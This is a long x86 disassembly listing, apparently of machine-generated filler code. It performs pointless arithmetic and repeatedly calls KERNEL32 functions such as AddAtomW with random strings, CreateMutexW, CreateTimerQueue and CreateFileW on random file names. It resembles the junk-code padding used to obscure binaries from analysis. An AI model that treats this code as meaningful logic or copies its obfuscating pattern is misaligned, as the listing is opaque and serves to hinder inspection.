mov dword [0x100ba678], 0x100b7f2a
lea edx, [ebp - 0x62c]
mov dword [ebp - 0x4148], edx
movzx eax, word [ebp - 0x1178]
movzx ecx, word [ebp - 0x618]
cdq
idiv ecx
mov word [ebp - 0xa34], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x414c], eax
mov edx, dword [ebp - 0x3e80]
xor edx, dword [ebp - 0x2f6c]
mov eax, dword [0x100b96e4]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba67c], eax
mov ecx, dword [ebp - 0x34bc]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
movzx edx, word [0x100ba524]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba680], ax
movsx eax, byte [ebp - 0x77]
mov ecx, dword [0x100ba1cc]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x1be], al
mov eax, dword [0x100ba234]
mov ecx, dword [ebp - 0x2cdc]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x3980]
mov dword [edx], ecx
lea eax, [ebp - 0x27c]
mov dword [0x100ba684], eax
mov cx, word [ebp - 0x10b8]
mov word [ebp - 0x141c], cx
mov dword [ebp - 0x4150], 0x100b72a8
movsx edx, byte [ebp - 0x69]
mov eax, dword [0x100ba034]
movsx ecx, byte [eax]
or edx, ecx
mov eax, dword [0x100b9ff8]
mov byte [eax], dl
push 0
push 2
push 4
push 0
push 1
push 0x40000000
push str.xLcjVLJR3D3UQj
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x4154], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3df4], eax
mov ecx, dword [0x100b9cc8]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0xefc]
shl edx, cl
mov eax, dword [ebp - 0x3e84]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9aec], eax
mov dword [ebp - 0x4158], 0x100b7208
mov ecx, dword [ebp - 0x3934]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x3b74]
sar edx, cl
mov dword [0x100b7324], edx
mov eax, dword [ebp - 0x3f84]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x33e4]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x291], cl
movzx ecx, word [ebp - 0x12b8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba688], ax
mov dword [ebp - 0x415c], 0x100b72a8
lea edx, [ebp - 0xb0bc]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x3c54]
mov cl, byte [eax]
mov byte [0x100b80fb], cl
mov edx, dword [0x100ba0e0]
movzx eax, word [edx]
imul ecx, eax, 0x577
mov word [ebp - 0x69c], cx
mov ecx, dword [ebp - 0x3928]
mov eax, dword [ebp - 0x3744]
cdq
idiv dword [ecx]
mov dword [ebp - 0x33d4], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9bb4], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3b08], eax
mov edx, dword [ebp - 0x3d60]
mov eax, dword [ebp - 0x2cb0]
add eax, dword [edx]
mov dword [0x100b725c], eax
mov ecx, dword [ebp - 0x3ba8]
mov dl, byte [ecx]
mov byte [ebp - 0x2bc], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba68c], eax
mov eax, dword [ebp - 0x3b10]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x3bb4]
movsx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x120], cl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4160], eax
mov ecx, dword [ebp - 0x3be8]
movsx edx, word [ecx]
movsx ecx, word [0x100b71fc]
sar edx, cl
mov word [0x100b9888], dx
lea eax, [ebp - 0x128c]
mov dword [ebp - 0x4164], eax
lea ecx, [ebp - 0x2c3c]
mov dword [ebp - 0x4168], ecx
movsx edx, byte [ebp - 0x1ee]
mov eax, dword [ebp - 0x403c]
movsx ecx, byte [eax]
shl edx, cl
mov byte [0x100b721f], dl
movzx ecx, byte [0x100b80be]
movzx edx, byte [ebp - 0x289]
or ecx, edx
mov byte [ebp - 0x26d], cl
lea eax, [ebp - 0x3044]
mov dword [ebp - 0x416c], eax
movzx ecx, word [ebp - 0x5a8]
mov edx, dword [ebp - 0x3dc0]
movzx eax, word [edx]
xor ecx, eax
mov word [0x100b7328], cx
movsx ecx, word [0x100b95ec]
mov edx, dword [ebp - 0x39b8]
movsx eax, word [edx]
add ecx, eax
mov edx, dword [ebp - 0x373c]
mov word [edx], cx
movzx eax, word [0x100ba0b0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b982c], ax
mov ecx, dword [ebp - 0x3928]
mov edx, dword [ecx]
and edx, dword [ebp - 0x3458]
mov eax, dword [ebp - 0x3cf8]
mov dword [eax], edx
movsx edx, byte [ebp - 0x261]
movsx ecx, byte [0x100b80e2]
sar edx, cl
mov eax, dword [0x100ba024]
mov byte [eax], dl
lea ecx, [ebp - 0xb0e0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx edx, byte [ebp - 0x41]
mov eax, dword [ebp - 0x3b30]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x15d], dl
mov edx, dword [ebp - 0x3830]
mov ax, word [edx]
mov word [ebp - 0x1420], ax
push 2
push 0x100ba3c8
mov ecx, dword [ebp - 0x9858]
push ecx
mov edx, dword [ebp - 0x985c]
push edx
mov eax, dword [ebp - 0x3f7c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100ba690], eax
movzx ecx, word [0x100ba554]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x11a4], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba694], eax
movzx edx, word [ebp - 0x13ec]
mov eax, dword [ebp - 0x3850]
movzx ecx, word [eax]
shl edx, cl
mov word [0x100b7258], dx
mov ecx, dword [ebp - 0x3ba0]
mov edx, dword [ebp - 0x3f14]
or edx, dword [ecx]
mov eax, dword [ebp - 0x35d8]
mov dword [eax], edx
movsx ecx, word [ebp - 0x1340]
movsx edx, word [ebp - 0xca8]
add ecx, edx
mov eax, dword [ebp - 0x3450]
mov word [eax], cx
lea ecx, [ebp - 0x2d68]
mov dword [0x100ba698], ecx
movsx edx, byte [ebp - 0x17c]
mov eax, dword [ebp - 0x372c]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x28], dl
movzx edx, byte [ebp - 0x3e]
movzx ecx, byte [ebp - 0x28b]
sar edx, cl
mov byte [0x100b80fa], dl
mov dword [ebp - 0x4170], 0x100b7258
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x4174], eax
mov eax, dword [0x100b9f10]
xor eax, dword [ebp - 0x3fb4]
mov ecx, dword [ebp - 0x404c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3fe4]
mov eax, dword [edx]
mov dword [0x100ba69c], eax
lea ecx, [ebp - 0xad80]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9dbc], eax
lea edx, [ebp - 0x9ce8]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx eax, word [0x100b94a0]
mov ecx, dword [ebp - 0x3a78]
movsx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x35c8]
mov word [ecx], ax
push str.4Pur6eM5puxGw7tLU6I.Ff3F5F
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba6a0], ax
lea edx, [ebp - 0x178]
mov dword [ebp - 0x4178], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x417c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba6a4], eax
movzx eax, byte [0x100b712f]
mov ecx, dword [ebp - 0x398c]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [0x100b80be], al
lea edx, [ebp - 0xad5c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x100b9690
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movsx eax, byte [ebp - 0x134]
movsx ecx, byte [0x100b7fd6]
add eax, ecx
mov edx, dword [ebp - 0x36d0]
mov byte [edx], al
mov eax, dword [ebp - 0x3858]
mov dword [ebp - 0x4180], eax
movzx ecx, word [ebp - 0x1138]
movzx edx, word [ebp - 0xdf0]
and ecx, edx
mov word [0x100b732c], cx
mov eax, dword [0x100b9780]
movsx ecx, word [eax]
mov edx, dword [0x100b9558]
movsx eax, word [edx]
or ecx, eax
mov word [ebp - 0x584], cx
lea ecx, [ebp - 0x326c]
mov dword [ebp - 0x4184], ecx
lea edx, [ebp - 0x2f]
mov dword [0x100ba6a8], edx
lea eax, [ebp - 0x18c]
mov dword [ebp - 0x4188], eax
mov ecx, dword [0x100b96f4]
mov edx, dword [ebp - 0x3768]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x3958], edx
mov eax, dword [ebp - 0x3e84]
movzx ecx, word [eax]
movzx edx, word [0x100b9ccc]
xor ecx, edx
mov word [0x100b71d4], cx
mov eax, dword [0x100b9f18]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [ebp - 0x418c], 0x100b7270
mov ecx, dword [ebp - 0x36c8]
movzx edx, word [ecx]
mov eax, dword [0x100b9c30]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x3540]
mov word [eax], dx
movzx ecx, byte [ebp - 0x296]
movzx edx, byte [ebp - 0x290]
and ecx, edx
mov eax, dword [0x100b9988]
mov byte [eax], cl
push str.NVdIv4E_9dxJfX7Tk
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1424], ax
lea ecx, [ebp - 0x2e1c]
mov dword [ebp - 0x4190], ecx
push 0x100ba6ac
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov edx, dword [ebp - 0x3aa8]
mov eax, dword [ebp - 0x3d54]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x3a8c]
mov dword [ecx], eax
mov dword [0x100ba6c4], 0x100b7f27
lea edx, [ebp - 0x1294]
mov dword [ebp - 0x4194], edx
movsx eax, word [ebp - 0x5a0]
mov ecx, dword [ebp - 0x4078]
movsx ecx, word [ecx]
shl eax, cl
mov edx, dword [ebp - 0x3710]
mov word [edx], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4198], eax
push 0x4ad
mov eax, dword [ebp - 0x3bbc]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100b9d60], eax
mov ecx, dword [ebp - 0x4128]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x37b8]
movsx ecx, byte [eax]
or edx, ecx
mov byte [0x100b801b], dl
push str.v_lHf_Sul8Jxq
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1428], ax
lea edx, [ebp - 0x273]
mov dword [ebp - 0x419c], edx
mov eax, dword [0x100b9bb0]
mov ecx, dword [ebp - 0x40d8]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x3a88], edx
mov eax, dword [ebp - 0x2d00]
mov dword [0x100ba6c8], eax
movsx ecx, byte [ebp - 0x222]
movsx edx, byte [ebp - 0xf7]
add ecx, edx
mov byte [ebp - 0xd0], cl
movzx eax, word [0x100b7228]
mov ecx, dword [ebp - 0x35fc]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0xca4], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba6cc], eax
lea eax, [ebp - 0x12e4]
mov dword [0x100ba6d0], eax
mov ecx, dword [ebp - 0x3c1c]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x28a]
shl edx, cl
mov byte [ebp - 0x27f], dl
mov eax, dword [0x100b9620]
mov ecx, dword [ebp - 0x3630]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp - 0x2d48], edx
mov eax, dword [0x100b94dc]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea ecx, [ebp - 0x9c88]
push ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx edx, word [ebp - 0x11a8]
mov eax, dword [0x100b9544]
movzx ecx, word [eax]
xor edx, ecx
mov word [0x100b7260], dx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba6d4], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3b14], eax
lea edx, [ebp - 0x31e0]
mov dword [ebp - 0x41a0], edx
mov eax, dword [0x100ba230]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x138]
add ecx, edx
mov eax, dword [ebp - 0x3df8]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3be8]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x3450]
movsx ecx, word [eax]
sar edx, cl
mov word [0x100b7330], dx
movzx ecx, word [0x100b9a54]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x142c], ax
mov dl, byte [0x100b71cf]
mov byte [ebp - 0x2bd], dl
lea eax, [ebp - 0xaf78]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x37d0]
mov edx, dword [ecx]
or edx, dword [0x100b72b4]
mov eax, dword [ebp - 0x3d0c]
mov dword [eax], edx
push str.GlTR9O_gN.fHZ_CVkONFW
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba6d8], ax
mov ecx, dword [ebp - 0x3d04]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x40f4]
movsx ecx, byte [eax]
and edx, ecx
mov byte [0x100b801a], dl
lea edx, [ebp - 0xe28]
mov dword [ebp - 0x41a4], edx
mov eax, dword [ebp - 0x3950]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1228]
xor ecx, edx
mov word [ebp - 0x1420], cx
mov eax, dword [ebp - 0x3bc4]
mov ecx, dword [eax]
mov dword [0x100ba6dc], ecx
movsx edx, word [0x100b9888]
movsx eax, word [ebp - 0xe98]
xor edx, eax
mov ecx, dword [ebp - 0x391c]
mov word [ecx], dx
mov dword [ebp - 0x41a8], 0x100b80fa
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x41ac], eax
mov edx, dword [ebp - 0x355c]
mov eax, dword [ebp - 0x3e68]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [0x100b972c]
mov dword [edx], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba6e0], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3a54], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9ea0], eax
mov eax, dword [ebp - 0x3c54]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0xbb]
shl edx, cl
mov byte [ebp - 0x3c], dl
movzx eax, word [ebp - 0x1290]
movzx ecx, word [ebp - 0x1150]
add eax, ecx
mov edx, dword [ebp - 0x36c8]
mov word [edx], ax
lea eax, [ebp - 0xf0c]
mov dword [0x100ba6e4], eax
mov cl, byte [ebp - 0x26e]
mov byte [ebp - 0x2be], cl
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9b14], eax
mov edx, dword [ebp - 0x401c]
mov eax, dword [0x100b9f34]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov dword [0x100ba468], edx
movsx eax, word [ebp - 0x1318]
movsx ecx, word [ebp - 0x1248]
and eax, ecx
mov edx, dword [ebp - 0x39a4]
mov word [edx], ax
movzx eax, byte [ebp - 0x273]
movzx ecx, byte [ebp - 0x15d]
or eax, ecx
mov edx, dword [ebp - 0x3e3c]
mov byte [edx], al
mov dword [0x100ba6e8], 0x100b7234
mov ax, word [ebp - 0x1168]
mov word [ebp - 0x1430], ax
mov ecx, dword [0x100ba17c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2d04]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
mov ecx, dword [ebp - 0x37f0]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x12e8]
shl edx, cl
mov eax, dword [0x100b96a8]
mov word [eax], dx
mov ecx, dword [ebp - 0x3d24]
mov edx, dword [0x100ba50c]
and edx, dword [ecx]
mov dword [ebp - 0x2af0], edx
push str.da_McLIPm_FA8_Sa
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1434], ax
movzx eax, byte [ebp - 0x5f]
movzx ecx, byte [0x100b7216]
sar eax, cl
mov byte [ebp - 0x1b7], al
movsx ecx, byte [ebp - 0x2b0]
movsx edx, byte [ebp - 0x2ab]
xor ecx, edx
mov byte [0x100b7193], cl
mov eax, dword [ebp - 0x36d0]
movsx ecx, byte [eax]
movsx edx, byte [0x100b7efa]
xor ecx, edx
mov byte [ebp - 0x18c], cl
mov eax, dword [0x100b72f8]
mov dword [ebp - 0x41b0], eax
mov ecx, dword [ebp - 0x4098]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100ba6ec], eax
lea edx, [ebp - 0x2af]
mov dword [0x100ba6f0], edx
mov eax, dword [ebp - 0x3cb0]
movsx ecx, word [eax]
mov edx, dword [0x100b9780]
movsx eax, word [edx]
add ecx, eax
mov word [ebp - 0x11e4], cx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba6f4], eax
mov ecx, dword [ebp - 0x3b04]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1184]
or edx, eax
mov word [ebp - 0x13f8], dx
mov ecx, dword [ebp - 0x3938]
mov edx, dword [ecx]
and edx, dword [ebp - 0x3a88]
mov dword [0x100b72a4], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x41b4], eax
push 0x100a6604
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1170], ax
lea eax, [ebp - 0x22d]
mov dword [ebp - 0x41b8], eax
mov ecx, dword [0x100b9bc0]
mov edx, dword [0x100ba2a0]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x2cfc], eax
movzx edx, byte [ebp - 0x4e]
mov eax, dword [0x100ba2c4]
movzx ecx, byte [eax]
shl edx, cl
mov byte [0x100b7222], dl
lea ecx, [ebp - 0x1418]
mov dword [ebp - 0x41bc], ecx
push 0
push 0x100b9b00
mov edx, dword [0x100ba6fc]
push edx
mov eax, dword [0x100ba6f8]
push eax
mov ecx, dword [0x100b9494]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x41c0], eax
movsx edx, word [ebp - 0x730]
movsx ecx, word [ebp - 0x1298]
sar edx, cl
mov word [ebp - 0x584], dx
mov eax, dword [ebp - 0x3674]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x41c4], eax
movzx ecx, word [0x100ba06c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba700], ax
movsx edx, byte [0x100b7f46]
movsx eax, byte [ebp - 0xcf]
xor edx, eax
mov ecx, dword [0x100b9f08]
mov byte [ecx], dl
mov edx, dword [0x100ba46c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x4d8]
add eax, ecx
mov word [ebp - 0x9e4], ax
mov edx, dword [0x100b9cc0]
mov eax, dword [edx]
mov dword [ebp - 0x41c8], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x41cc], eax
mov ecx, dword [ebp - 0x3b74]
mov dword [0x100ba704], ecx
movzx edx, byte [ebp - 0x1b7]
mov eax, dword [0x100ba424]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x281], dl
mov dx, word [ebp - 0x125c]
mov word [ebp - 0x1438], dx
mov eax, dword [ebp - 0x40b8]
movsx ecx, byte [eax]
movsx edx, byte [0x100b7dfe]
xor ecx, edx
mov byte [0x100b7e03], cl
mov eax, dword [ebp - 0x3d3c]
movzx ecx, word [eax]
mov edx, dword [0x100b9cc8]
movzx eax, word [edx]
or ecx, eax
mov word [ebp - 0x11a0], cx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba3fc], eax
lea ecx, [ebp - 0x2ba8]
mov dword [ebp - 0x41d0], ecx
push 0x254
push 0
lea edx, [ebp - 0x4010]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x41d4], eax
lea eax, [ebp - 0x2e1c]
mov dword [0x100ba708], eax
mov ecx, dword [0x100b9bc4]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x263]
shl edx, cl
mov eax, dword [ebp - 0x3cfc]
mov byte [eax], dl
push 0x100ba400
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0xa47
mov ecx, dword [ebp - 0x3b9c]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100ba70c], eax
movsx edx, byte [0x100b801b]
movsx ecx, byte [ebp - 0x87]
sar edx, cl
mov eax, dword [ebp - 0x3b80]
mov byte [eax], dl
push str.Al_gcu_P4LYWMg_sJF
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x143c], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba710], eax
movsx ecx, word [ebp - 0x788]
mov edx, dword [ebp - 0x3fec]
movsx eax, word [edx]
add ecx, eax
mov word [0x100b9aa8], cx
lea ecx, [ebp - 0x1324]
mov dword [ebp - 0x41d8], ecx
push str.SVZg96p_IPC6I
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x13d4], ax
mov edx, dword [0x100b9620]
mov eax, dword [ebp - 0x2d88]
and eax, dword [edx]
mov ecx, dword [ebp - 0x3bd4]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x266]
mov eax, dword [ebp - 0x3c40]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [0x100b7223], dl
mov edx, dword [ebp - 0x3de4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x140]
add eax, ecx
mov byte [ebp - 0xf3], al
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba67c], eax
mov dword [ebp - 0x41dc], 0x100ba28c
movzx edx, word [ebp - 0xda8]
movzx eax, word [0x100b9a1c]
sub edx, eax
mov ecx, dword [0x100ba52c]
mov word [ecx], dx
push str.GsTxtR
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x13dc], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b967c], eax
lea edx, [ebp - 0x9da8]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movsx eax, word [ebp - 0x768]
mov ecx, dword [ebp - 0x35c8]
movsx edx, word [ecx]
or eax, edx
mov ecx, dword [ebp - 0x3b40]
mov word [ecx], ax
mov edx, dword [ebp - 0x30e8]
mov ecx, dword [ebp - 0x38e8]
shl edx, cl
mov eax, dword [ebp - 0x3a40]
mov dword [eax], edx
lea ecx, [ebp - 0x275]
mov dword [0x100ba714], ecx
push 0
push 0x100
push 5
push 0
push 2
push 0x40000000
push str.gukYcIBlzNCD9HdkMDhjRqq0i
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba718], eax
mov dl, byte [ebp - 0x1fd]
mov byte [ebp - 0x2bf], dl
movzx eax, word [ebp - 0x1020]
mov ecx, dword [0x100b99d4]
movzx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0xe94], ax
movzx edx, word [ebp - 0x121c]
movzx eax, word [ebp - 0x8a8]
and edx, eax
mov word [0x100b9a1c], dx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba460], eax
push 0x7f3
mov ecx, dword [ebp - 0x4130]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x41e0], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100ba71c], eax
push str.RKel_QmTQIa_Kh
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1440], ax
imul edx, dword [0x100ba6dc], 0x1ef3
mov dword [ebp - 0x2d14], edx
movzx eax, word [0x100ba39c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba720], ax
mov ecx, dword [0x100b9508]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x1018]
add edx, eax
mov word [ebp - 0x140c], dx
mov ecx, dword [ebp - 0x4130]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3f70], eax
push str.GmDHD0uBjn_TRoQ
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba724], ax
mov edx, dword [ebp - 0x3910]
mov eax, dword [edx]
mov dword [0x100ba728], eax
movsx ecx, byte [ebp - 0x2ae]
movsx edx, byte [ebp - 0x2bb]
and ecx, edx
mov byte [ebp - 0x194], cl
mov eax, dword [ebp - 0x3c94]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x3cf0]
movzx ecx, byte [eax]
sar edx, cl
mov byte [0x100b7187], dl
movzx edx, word [ebp - 0x7ac]
mov eax, dword [0x100ba6e4]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x13f8], dx
mov ecx, dword [ebp - 0x3f00]
mov edx, dword [ecx]
mov dword [ebp - 0x41e4], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x41e8], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9b20], eax
movzx eax, word [ebp - 0x133c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba72c], ax
mov ecx, dword [ebp - 0x3848]
mov edx, dword [ecx]
mov dword [0x100ba730], edx
lea eax, [ebp - 0xdfc]
mov dword [ebp - 0x41ec], eax
mov ecx, dword [ebp - 0x3a58]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2a5]
or edx, eax
mov byte [ebp - 0x27a], dl
movzx ecx, byte [ebp - 0x2ac]
mov edx, dword [ebp - 0x33f4]
movzx eax, byte [edx]
xor ecx, eax
mov byte [0x100b7192], cl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x41f0], eax
lea ecx, [ebp - 0x1c9]
mov dword [ebp - 0x41f4], ecx
mov eax, dword [ebp - 0x3f5c]
cdq
idiv dword [ebp - 0x3ce8]
mov dword [ebp - 0x3f74], eax
movzx edx, word [0x100b9ac4]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1444], ax
push 0x100ba734
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [ebp - 0x1218]
mov dword [0x100ba74c], eax
mov cx, word [ebp - 0x12b0]
mov word [ebp - 0x1448], cx
mov edx, dword [ebp - 0x3fcc]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100ba224], eax
mov eax, dword [0x100ba484]
add eax, dword [ebp - 0x326c]
mov ecx, dword [ebp - 0x33fc]
mov dword [ecx], eax
mov edx, dword [0x100ba2cc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3740]
movzx edx, byte [ecx]
and eax, edx
mov byte [0x100b7f02], al
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba0c0], eax
movsx eax, byte [ebp - 0x120]
movsx ecx, byte [ebp - 0x1ee]
sar eax, cl
mov byte [ebp - 0x14a], al
mov ecx, dword [ebp - 0x3b50]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [0x100b972c]
mov eax, dword [ebp - 0x3dfc]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x38e8], ecx
push 0
push 0x20
push 5
push 0
push 1
push 0x40000000
push str.TLk8Z7dY6RCIA6KTvdFr_r4u
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x41f8], eax
lea edx, [ebp - 0x12a0]
mov dword [0x100ba750], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba754], eax
mov ax, word [ebp - 0x1130]
mov word [ebp - 0x144c], ax
movzx edx, word [ebp - 0xea0]
movzx ecx, word [ebp - 0x130c]
shl edx, cl
mov word [ebp - 0xc20], dx
lea eax, [ebp - 0x199]
mov dword [0x100ba758], eax
lea ecx, [ebp - 0x3f14]
mov dword [ebp - 0x41fc], ecx
push str.PINe
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1450], ax
mov edx, dword [0x100b994c]
mov eax, dword [ebp - 0x3dfc]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x3ffc], ecx
